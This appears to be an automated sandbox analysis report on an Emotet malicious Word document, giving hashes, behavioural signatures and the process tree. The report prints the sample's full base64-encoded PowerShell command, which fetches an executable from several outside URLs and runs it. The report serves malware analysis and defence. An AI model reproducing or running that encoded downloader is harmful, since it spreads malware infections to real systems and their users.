Analysis

  • max time kernel
    75s
  • max time network
    94s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    16/10/2020, 07:30

General

  • Target
    emotet_e1_2f2fc910ebf28cc8b687140edaf78de565a50a73f22bf2d0da6b4e8dcfa5c5e8_2020-10-16__072843646735._doc.doc
  • Size 210KB
  • Sample201016-dnx3xe2mk2
  • SHA256 2f2fc910ebf28cc8b687140edaf78de565a50a73f22bf2d0da6b4e8dcfa5c5e8
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2f2fc910ebf28cc8b687140edaf78de565a50a73f22bf2d0da6b4e8dcfa5c5e8_2020-10-16__072843646735._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1436
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABWAHMAdwBwAGUAYQB6AD0AKAAoACcAUAB2AGcAJwArACcAZQB6ACcAKQArACcAZABwACcAKQA7ACQAUAA5AGQANAAxADIAcAA9ACQAWgB6AGwAZwBrAHEAZAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAQQBvAG0AaAAyAHgAeAA7ACQARQAyADAAaABlAGEAMwA9ACgAJwBaAG0AJwArACcAXwAzACcAKwAoACcAMwAnACsAJwAzAGkAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBDAGAAUgBlAGEAdABFAGQASQBgAFIARQBjAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHkAQQAnACsAJwBEAEoAJwApACsAJwB5ACcAKwAoACcAcAB3ACcAKwAnAG0AJwArACcAMAA4AHkAQQAnACkAKwAoACcARAAnACsAJwBPAHUAOAAnACkAKwAoACcAaAAnACsAJwB3AHcAJwApACsAKAAnADIAeQAnACsAJwBBACcAKQArACcARAAnACkALgAiAFIARQBQAEwAQQBgAEMAZQAiACgAKAAnAHkAJwArACcAQQBEACcAKQAsAFsAUwBUAFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACkAOwAkAEQAZQBpADgAbAB2AGQAPQAoACgAJwBLACcAKwAnADgAbwAnACkAKwAoACcAMgB6AHIAJwArACcAbQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAHUAcgBpAHQAeQBQAFIATwBUAG8AYABDAGAAbwBMACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAdABsAHMAYAAxADIAIgA7ACQAWQBoADkAMABlAGgAeQA9ACgAKAAnAFgAOQBoACcAKwAnADkAJwApACsAJwByAG0AJwArACcAOQAnACkAOwAkAFIAOABsADcAMwB4ADYAIAA9ACAAKAAnAEUAJwArACcANwAnACsAKAAnAGQAdwAnACsAJwBwADEAJwApACkAOwAkAFAAeQB3ADQAaAB3AGIAPQAoACcATgAnACsAKAAnAF8AJwArACcAYQA0AHUAJwApACsAJwA2AGsAJwApADsAJABYAHIAagBfAG4AbwBmAD0AKAAnAEMAMAAnACsAKAAnAGYAdgA0ACcAKwAnAG8AJwApACsAJwAxACcAKQA7ACQATgBwAHYAegA1AHoAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBKAHkAcAB3AG0AJwArACcAMAA4AHsAMAB9AE8AdQA4ACcAKwAoACcAaAB3ACcAKwAnAHcAJwApACsAJwAyACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgACAALQBmACAAIABbAEMASABhAFIAXQA5ADIAKQArACQAUgA4AGwANwAzAHgANgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARwB0AG0AawB0AHAAcQA9ACgAKAAnAFgAagAnACsAJwB6ADAAJwApACsAJwByAHQAJwArACcAbwAnACkAOwAkAFMAcAB5AHAAdwBnAGsAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkARQBuAHQAOwAkAEIANwAwAGoAbQBwADcAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAJwArACcAdwAuAHQAaQAnACkAKwAnAGsAdAAnACsAKAAnAG8AawB2AGEAcAAnACsAJwBlAHMAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwB4ACcAKwAnAEwALwAnACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBiACcAKwAnAGwAJwApACsAJwBhAGMAJwArACgAJwBrAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwBuAGUAdAAnACkAKwAoACcAdQB0AG8AJwArACcAcgBzACcAKQArACcALQBvACcAKwAoACcAbgAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZQBwAG8AJwArACcAcgB0AGEAbAAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAGYAbQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAYgBhACcAKwAnAGMAJwArACgAJwBoAGgAJwArACcAbwAnACkAKwAoACcAYQAnACsAJwBuAGgAJwApACsAJwBhACcAKwAnAGwAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0AJwArACcALwB3AG8AcgAnACkAKwAoACcAZABwACcAKwAnAHIAJwApACsAKAAnAGUAcwBzAC8ASQAnACsAJwAvACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAJwBpACcAKwAoACcAbgB2AGEAJwArACcAbAB1ACcAKwAnAGEAYgBsAGUAJwApACsAJwBhAHIAJwArACcAdABzACcAKwAoACcALgBjAG8AJwArACcAbQAvADYAcwAnACkAKwAoACcAbgAxAGYAJwArACcALwAnACkAKwAoACcAdAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvAC8AJwArACcAdwAnACsAJwB3AHcAJwArACcALgBtAHkAYwBvAGwAJwApACsAJwBsAGUAJwArACgAJwBnACcAKwAnAGUAJwArACcAYwBwAC4AYwBvACcAKQArACcAbQAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvAGsAJwApACsAKAAnAFIAJwArACcATAAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGEAdAAnACkAKwAnAGkAJwArACcAbABiACcAKwAoACcAdQAnACsAJwByAGQAdQAnACkAKwAnAHIAJwArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AcwBjACcAKwAnAHUAdAAnACkAKwAoACcAdQAnACsAJwBtAC8ASwBWACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwAnACsAJwB3AHcAdwAnACsAJwAuACcAKQArACcAcAAnACsAJwBnACcAKwAoACcAaQBzACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQBhAGQAJwApACsAJwBtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAG0AQwAnACsAJwBRACcAKwAnAC8AJwApAC4AIgBTAFAAbABgAGkAdAAiACgAJABYAHUAZwBmAGcAMgBsACAAKwAgACQAUAA5AGQANAAxADIAcAAgACsAIAAkAE4AegB6AGkAcgBxADgAKQA7ACQASABxAHUAYQBzAF8ANAA9ACgAJwBBACcAKwAoACcANwBkACcAKwAnAGQAegAnACkAKwAnAGcAcQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAcgA1ADMAYgA0ADcAIABpAG4AIAAkAEIANwAwAGoAbQBwADcAKQB7AHQAcgB5AHsAJABTAHAAeQBwAHcAZwBrAC4AIgBkAE8AYAB3AGAATgBsAE8AQQBgAGQAZgBpAGwAZQAiACgAJABTAHIANQAzAGIANAA3ACwAIAAkAE4AcAB2AHoANQB6AGMAKQA7ACQAUAAyAHoAagBpAHYAbwA9ACgAKAAnAEYAZgAnACsAJwAzACcAKQArACgAJwA1ACcAKwAnADEAaQA4ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AcAB2AHoANQB6AGMAKQAuACIAbABFAG4AYABHAFQASAAiACAALQBnAGUAIAAyADkAOQA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAnACsAJwAzACcAKwAoACcAMgBfAFAAJwArACcAcgBvAGMAZQAnACsAJwBzAHMAJwApACkAKQAuACIAYwBgAFIAZQBhAFQAZQAiACgAJABOAHAAdgB6ADUAegBjACkAOwAkAE8AegBhADAAbgA4ADgAPQAoACgAJwBSAGYAJwArACcAawB4ACcAKQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1616

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1436-2-0x00000000088F0000-0x00000000088F4000-memory.dmp

        memory/1436-4-0x0000000006DF0000-0x0000000006FF0000-memory.dmp

        memory/1616-8-0x000007FEEA1D0000-0x000007FEEABBC000-memory.dmp

        memory/1616-9-0x0000000002360000-0x0000000002361000-memory.dmp

        memory/1616-10-0x000000001ADE0000-0x000000001ADE1000-memory.dmp

        memory/1616-11-0x0000000002620000-0x0000000002621000-memory.dmp

        memory/1616-12-0x0000000002650000-0x0000000002651000-memory.dmp

        memory/1616-13-0x000000001C480000-0x000000001C481000-memory.dmp